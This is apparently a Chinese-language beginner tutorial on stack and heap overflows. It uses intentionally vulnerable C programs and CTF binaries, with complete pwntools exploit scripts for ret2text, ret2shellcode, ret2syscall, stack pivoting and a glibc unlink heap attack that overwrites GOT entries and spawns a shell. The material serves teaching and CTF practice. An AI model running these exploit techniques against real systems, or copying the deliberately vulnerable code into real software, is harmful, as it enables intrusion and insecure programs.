一篇文章理解堆栈溢出
- 引言
- 栈溢出
- ret2text
- 答案
- ret2shellcode
- 答案
- ret2syscall
- 答案
- 栈迁移
- 答案
- 堆溢出 unlink - UAF
- 堆结构
- 小提示
- 向前合并/向后合并
- 堆溢出题
- 答案
引言
让新手快速理解堆栈溢出,尽可能写的简单一些。
栈溢出
代码执行到进入函数之前都会记录返回地址
到SP
中,保证代码在进入函数执行完成后能返回继续执行
下面的代码,而栈溢出攻击原理就是想尽一切办法覆盖掉这个保存在SP
中的返回地址
,改变代码执行流程。
刚开始写博客的时候写过一篇如何在windows中利用ntdll的jmp esp实现栈溢出攻击,这次我们回顾一下。
此时栈中内容应该是这样
在进入需要call的函数后,如果我们从栈的低地址一直覆盖内容到高地址,就可以覆盖
掉这个返回地址
。
ret2text
简单的看一道以前的ctf题,为了深入理解我们先自己编译一份存在漏洞的代码
#include <stdlib.h>
#include <stdio.h>
void shell(){//故意存在的后门system("/bin/sh");
}
void test(int a){//随便写的printf("exit!!!!!%d\n" , a);
}
void print_name(char* input) {//漏洞函数char buf[15];memcpy(buf,input,0x100);printf("Hello %s\n", buf);
}
int main(int argc, char** argv){char buf[0x100];puts("input your name plz");read(0,buf,0x100);print_name(buf);return 0;
}// gcc -m32 -no-pie -g test.c -o test
编译后再ida中长这样
答案
from pwn import *elf = ELF("./test")
# 这里是我调试器用的可以不写
context.terminal = ['qterminal','-e','sh','-c']
libc = ELF('/lib/i386-linux-gnu/libc.so.6')# p = remote("LOCALHOST",28525)
p = elf.process()print(p.recvline())
# print(elf.sym)# 附加调试器
#gdb.attach(p, 'b print_name')# 解题方式1:
# 先覆盖0x17个a 写满BUF,然后多4个字节覆盖push ebp指令保存的ebp
# 覆盖esp中的返回地址为0x8049196(shell)
# p.sendline(b'a'*(0x17+0x4)+p32(0x8049196))print(hex(elf.sym['system']))
# 解题方式2:
# 先覆盖0x17个a 写满BUF,然后多4个字节覆盖push ebp指令保存的ebp
# 覆盖esp中的返回地址为system
# 在call之前会将eip下一条地址压入esp,所以我们是在覆盖这个,0x80491c1(test的地址),我们exit之后会不会进入到test
# 覆盖参数 "/bin/sh"(0x804a008)
p.sendline(b'a'*(0x17+0x4)+p32(elf.sym['system'])+p32(0x80491c1)+p32(0x804a008) + p32(0xde)) # 0xde(222)是exit参数
p.interactive()
解题方式二是为了理解栈溢出原理,所以我在其中套了多个函数地址和参数。
ret2shellcode
再来看一道经典题目,mmap内存映射的栈溢出
#include <stdlib.h>
#include <stdio.h>
#include <sys/mman.h>
int main(int argc, char** argv){char buff;char * mapBuf;mapBuf = (char*)mmap(0x233000, 0x1000,PROT_READ|PROT_WRITE|PROT_EXEC,MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);printf("map address:%x\n",mapBuf);read(0,mapBuf,0x100);puts("enter something");read(0,&buff,0x100);puts("good bye");return 0;
}
权限是可读写可执行,MAP_PRIVATE|MAP_ANONYMOUS
表示不映射一个具体的fd,而是系统内部创建的匿名文件,且不会被回写到文件。
其中我们给出了具体的映射地址,虽然mapBuf的内存地址并不属于这个栈
,但是我们可以通过溢出buff
让栈返回地址指向它
,而它内存中实际的内容
就是我们的shellcode
.
答案
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
#context.terminal = ['qterminal','-e','sh','-c']
elf = ELF("./test")
p = elf.process()#gdb.attach(p, 'b 13')
shellcode = asm(shellcraft.sh())
print(shellcode)
print(p.recvline())
p.sendline(shellcode)print(p.recvline())
# 随便覆盖一个rbp
p.sendline(b'a'*(0x9+0x8)+p64(0x233000))
p.interactive()
我们首先将shellcode
写入了mapBuf指向的内存地址(0x233000)
,然后覆盖掉了返回地址
,将它改为0x233000
,在退出这个函数时就会执行我们在0x233000
中写入的shellcode
了。
ret2syscall
int __cdecl main(int argc, const char **argv, const char **envp)
{int v4;setvbuf(stdout, 0, 2, 0);setvbuf(stdin, 0, 1, 0);puts("This time, no system() and NO SHELLCODE!!!");puts("What do you plan to do?");gets(&v4);return 0;
}
这段代码非常简单,但是题中给的文件开启了NX 保护
,也就是说栈中的代码不可执行,此时我们无法覆盖为shellcode
,那么就只能让他跳转到程序中本来就存在的一些方法去,而程序中也并没有调用system
。
我们这次用到了ROPgadget
工具,让他在程序中找一些指定的汇编指令。
还有cyclic
可以帮忙测试栈溢出的大小
。
答案
思路是利用int 0x80
中断进入系统调用execve
。
execve("/bin/sh",NULL,NULL)
令eax
为execve
的系统调用号0xb
,第一个参数ebx
指向/bin/sh
,ecx和edx为0
。
而我们需要找到能修改寄存器的汇编代码,那么pop
就是最好的选择。
push
是将参数压入sp
,那么pop
就是将sp的内容弹出
到指定寄存器
。
from pwn import *
context(os='linux', arch='i386', log_level='debug')
#context.terminal = ['qterminal','-e','sh','-c']
elf = ELF("./rop")
p = elf.process()
'''
ROPgadget --binary rop --only 'int'
0x08049421 : int 0x80ROPgadget --binary rop --only 'pop|ret'|grep eax
0x080bb196 : pop eax ; retROPgadget --binary rop --only 'pop|ret'|grep ebx 这里还可以控制ecx所以直接再找edx的
0x0806eb91 : pop ecx ; pop ebx ; retROPgadget --binary rop --only 'pop|ret'|grep edx
0x0806eb6a : pop edx ; retROPgadget --binary rop --string '/bin/bash'
0x080be408 : /bin/sh
'''
int_0x80 = 0x08049421
pop_eax_ret = 0x080bb196
pop_ecx_ebx_ret = 0x0806eb91
pop_edx_ret = 0x0806eb6a
sh = 0x080be408
# 112 cyclic测试得出
payload = b'a' * 112 + p32(pop_eax_ret) + p32(0xb) + p32(pop_ecx_ebx_ret) + p32(0) + p32(sh) + p32(pop_edx_ret) + p32(0) + p32(int_0x80)
p.sendline(payload)
p.interactive()
栈迁移
int vul()
{char s[40]; // [esp+0h] [ebp-28h] BYREFmemset(s, 0, 0x20u);read(0, s, 48u);printf("Hello, %s\n", s);read(0, s, 0x30u);return printf("Hello, %s\n", s);
}
int __cdecl main(int argc, const char **argv, const char **envp)
{init();puts("Welcome, my friend. What's your name?");vul();return 0;
}
程序中可以发现在vul函数的read
的第二处出现了栈溢出,但是我们发现溢出的大小实在是太小了,我们无法写入system
后再加入参数,注意程序同样开启了NX保护
,也就是栈中代码不可执行,这里需要了解一点点的GOT/PLT了,可以看我这篇文章:
PLT、GOT ELF重定位流程新手入门
原理是通过覆盖返回地址让它返回到s变量的内存地址(bss段),这样我们就有足够的地方写shellcode了
答案
from pwn import *
context(os='linux', arch='i386', log_level='debug')
#context.terminal = ['qterminal','-e','sh','-c']
elf = ELF("./test")
p = elf.process()
# 漏洞代码
#char s[40]; // [esp+0h] [ebp-28h] BYREF
#read(0, s, 0x30u); #0x30-0x28 = 0x8 不够我们写system后的参数,栈大小不够,我们需要将ESP移到BSS段,刚好我们的s本身就在bss段
#printf("Hello, %s\n", s);
#read(0, s, 0x30u);
print(p.recvline())payload = b'a' * (0x27) # 因为使用sendline多了一个\n 所以这里写0x27
p.sendline(payload) # 因为我们填满了0x28 并且没有\0所以此时输出必定会将ebp输出出来
p.recvuntil("a\n")
ori_ebp = u32(p.recv(4)) # 接收本来正常的ebp
print(hex(ori_ebp))# s地址 偏移计算
# 原ebp 可以在push ebp 看一下ebp地址 是0xffffd4c8
# 然后在leave之前 看一下stack
# esp 0xffffd490 ◂— 'aaaaaa\n\n'
# 通过计算得到偏移是 0xffffd490 - 是0xffffd4c8 = -0x38# 另外一种办法是,在push ebp 看一下ebp地址 是0xffffd4c8
# 在leave前看一下 ebp = 0xffffd4b8
# 是0xffffd4b8 - 0xffffd4c8 = -0x10,又由于我们在IDA中知道#char s[40]; // [esp+0h] [ebp-28h] BYREF
# -0x10 - 0x28 = - 0x38
bss_addr = ori_ebp - 0x38# system addr 两种办法
# 一种通过.got.plt
# 0804a018 00000407 R_386_JUMP_SLOT 00000000 system@GLIBC_2.0
# x 0x804a018
# <system@got.plt>: 0x08048406
# 由于我们知道 此时system没有被执行过,这里保存的地址肯定是plt + 6# 第二种 直接读取.plt
# .plt PROGBITS 080483c0
# x/32x 0x080483c0
# 0x8048400 <system@plt>: 0xa01825ff 0x18680804 0xe9000000 0xffffffb0# 第三种 直接用pwntools
system_addr = elf.plt['system']leave_ret = 0x080484b8 # ROPgadget --binary test --only 'leave|ret'# 迁移到BSS段,正好我们的s就是
# 先覆盖4字节,因为最后leave 相当于mov esp,ebp; pop ebp;使esp + 4,所以这里要先跳过0x4 随便填充4个字节
payload2 = b'A' * 0x4
# ret 要跳转到的eip
payload2 += p32(system_addr)
# system后的返回地址 随便写吧
payload2 += b'A' * 0x4
# 参数字符串地址,这个字符串是下面写的 所以要计算要跳过的大小
payload2 += p32(bss_addr + 0x4 + 0x4 + 0x4 + 0x4)
payload2 += b'/bin/sh\x00'
payload2 = payload2.ljust(0x28, b'A') # 填充满0x28个,不够用A补
# 将原来正常的ebp 改为 s 的地址 让其执行leave的时候把这个地址给esp
payload2 += p32(bss_addr)
# 填入leave;ret,ret的时候因为esp被我们修改的ebp覆盖了,所以回到了ebp + 0x4(也就是s+0x4等价于payload2 + 0x4)
payload2 += p32(leave_ret)p.sendline(payload2)
p.interactive()
堆溢出 unlink - UAF
堆溢出原理在堆释放
时,修改双向链表
的过程,有空子可以钻,让其指针赋值
时将我们需要的地址赋值过去
,但是我们也仅仅是指修改了一个内存地址,而不是像栈溢出那样修改了它的执行流程。
堆结构
size记录的是整个chunk大小,而不是malloc时的大小。
小提示
因为malloc是按8字节对齐,所以实际上
size
的最后3位bit永远不可能不是1 (8 = 0b1000),所以用其中1位来做PREV_INUSE
的标记位。
向前合并/向后合并
向前合并和向后合并,并不是说对于当前区块来说,合并到前一个或合并到后一个,而是正好相反。
向后合并是指如果前一个区块没有被使用,将自身指针指向前一个区块,并且将大小合并,向前合并则相反。
if (!prev_inuse(p)) {prevsize = p->prev_size;size += prevsize;p = chunk_at_offset(p, -((long) prevsize)); unlink(p, bck, fwd);
}
#define unlink(P, BK, FD) { \FD = P->fd; \BK = P->bk; \FD->bk = BK; \BK->fd = FD; \...
}
我们需要关注的点在于unlink
,这个从双向链表移除自身的代码。下面的题目中unlink其实还有检查代码,就是判断FD->bk是否等于BK->fd。
堆溢出题
这是一个简单的堆溢出题,我将其中的函数都重命名了,在IDA中你能知道这些函数时做什么的
可以看见create_item
申请的堆内存地址被保存到了一个全局变量s中,并且是从下标1开始使用
的。
我们将变量和函数地址都先记录下来
edit_item = 0x4009e8free_item = 0x400b07puts_if_exists = 0x400ba9create_item = 0x400936bss_s = 0x602140
我们还知道了GLIBC的版本是2.2.5
,但是我本机没有,可以用工具替换。
使用 patchelf 替换2.23,因为2.2.5在glibc-all-in-one没找到
,glibc-all-in-one
可以在github
下载到。
patchelf --set-interpreter /home/kali/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so --set-rpath /home/kali/glibc-all-in-one//libs/2.23-0ubuntu11.3_amd64 ./stkof
答案
我们要做的其实就是修改掉s数组中存放的内容。
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ['qterminal','-e','sh','-c']
stkof = ELF("./stkof") # 题的原文件网上可以搜到
p = stkof.process()
libc = ELF('/home/kali/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')#edit_item = 0x4009e8
#free_item = 0x400b07
#puts_if_exists = 0x400ba9 # 没啥用
#create_item = 0x400936
bss_s = 0x602140 # 存着分配的堆地址,0下标无用,(&::s)[++dword_602100] = v2; 1号块就是1下标def alloc(size):p.sendline(b'1')p.sendline(str(size))p.recvuntil(b'OK\n')def edit(idx, size, content):p.sendline(b'2')p.sendline(str(idx))p.sendline(str(size))p.send(content)p.recvuntil(b'OK\n')def free(idx):p.sendline(b'3')p.sendline(str(idx))def puts_if_exists():p.sendline(b'4')print(p.recvline())def exp():# gdb.attach(p, 'b *0x4009e8')# editalloc(0x100) # idx 1alloc(0x20) # idx 2 # 32大小alloc(0x80) # idx 3#在2中伪造chunk并且溢出修改3的chunk头#FD 下一块 ,BK 上一块,fd在结构偏移是第三个,bk在结构偏移是第四个payload = p64(0) #prev_sizepayload += p64(0x20) #size# 使(bss_s + 0x10 - 3*0x8)->bk(3*0x8) == (bss_s + 0x10 - 2*0x8)->fd(2*0x8) == (bss_s + 0x10),绕过checkpayload += p64(bss_s + 0x10 - 3*0x8) #fd #此时fd->bk = (bss_s + 0x10 - 3*0x8)+(3*0x8)payload += p64(bss_s + 0x10 - 2*0x8) #bk #此时bk->fd = (bss_s + 0x10 - 2*0x8)+(2*0x8)# 溢出部分payload += p64(0x20) # 下一个区块的 prev_sizepayload += p64(0x90) # 下一个区块 size 偶数,覆盖prev_inuse 为 0(0x90的大小是内存对齐后的结果)# 修改2号块,等会溢出3号块edit(2, len(payload), payload)# 准备 释放3 触发向后合并,触发unlink(此时unlink的P就是2号块)# FD = P->fd; #下一块# BK = P->bk; #上一块# FD->bk = BK;# BK->fd = FD; # 根据计算类似下面这样,只是我们没有写临时变量,这样看会清楚点,代码虽然是错的# p->fd 被我们伪造成了(bss_s + 0x10 - 3*0x8)# p->bk 被我们伪造成了(bss_s + 0x10 - 2*0x8)# FD->bk = BK; # 赋值相当于 (bss_s + 0x10 - 3*0x8)+(3*0x8) = bss_s + 0x10 - 2*0x8# BK->fd = FD; # 赋值相当于 (bss_s + 0x10 - 2*0x8)+(2*0x8) = bss_s + 0x10 - 3*0x8# 最后修改其实就是# bss_s + 0x10 = bss_s + 0x10 - 3*0x8# bss_s + 0x10 = bss_s - 0x8# bss_s + 0x10 就是 bss_s[2]# 让 bss_s 存着的2号块地址变成 = bss_s - 0x8free(3)p.recvuntil('OK\n')#覆盖bss_s存着的2号块地址(bss_s - 0x8),跳过8字节使bss_s[0] = free@got, bss_s[1]=puts@got, bss_s[2]=atoi@got#此时存着的堆地址其实全部被我们改掉了,后面干的事和堆一点关系都没有了payload = b'a' * 8 + p64(stkof.got['free']) + p64(stkof.got['puts']) + p64(stkof.got['atoi'])edit(2, len(payload), payload) #这里payload数据是写入了 bss_s 段# 由于此时 bss_s[0] = free@got.plt# 本来free@got.plt中存的是0x7f7e67a84540 <__GI___libc_free>: 0x8348535554415541# 我们此时修改0号块内容,实际上就是(&bss_s)[0] = puts@plt# 等于将__GI___libc_free改为了puts@pltpayload = p64(stkof.plt['puts'])edit(0, len(payload), payload) #此时free已经被替换#free((&::s)[1]); = puts@plt((&::s)[1]);#此时相当于puts@plt(&bss_s[1]);# puts@plt(puts@got);#我们就可以先拿到puts@got地址,用来计算glibc基址free(1)puts_addr = p.recvuntil('\nOK\n', drop=True).ljust(8, b'\x00')puts_addr = u64(puts_addr)log.success('puts addr: ' + hex(puts_addr))libc_base = puts_addr - libc.symbols['puts']binsh_addr = libc_base + next(libc.search(b'/bin/sh'))system_addr = libc_base + libc.symbols['system']log.success('libc base: ' + hex(libc_base))log.success('/bin/sh addr: ' + hex(binsh_addr))log.success('system addr: ' + hex(system_addr))# 由于此时 bss_s[2] = atoi@got.plt# 修改2号块代码是(&bss_s)[2] = systempayload = p64(system_addr)edit(2, len(payload), payload)# 随便发一个触发main里的atoi,参数就是binsh_addrp.send(p64(binsh_addr))p.interactive()if __name__ == "__main__":exp()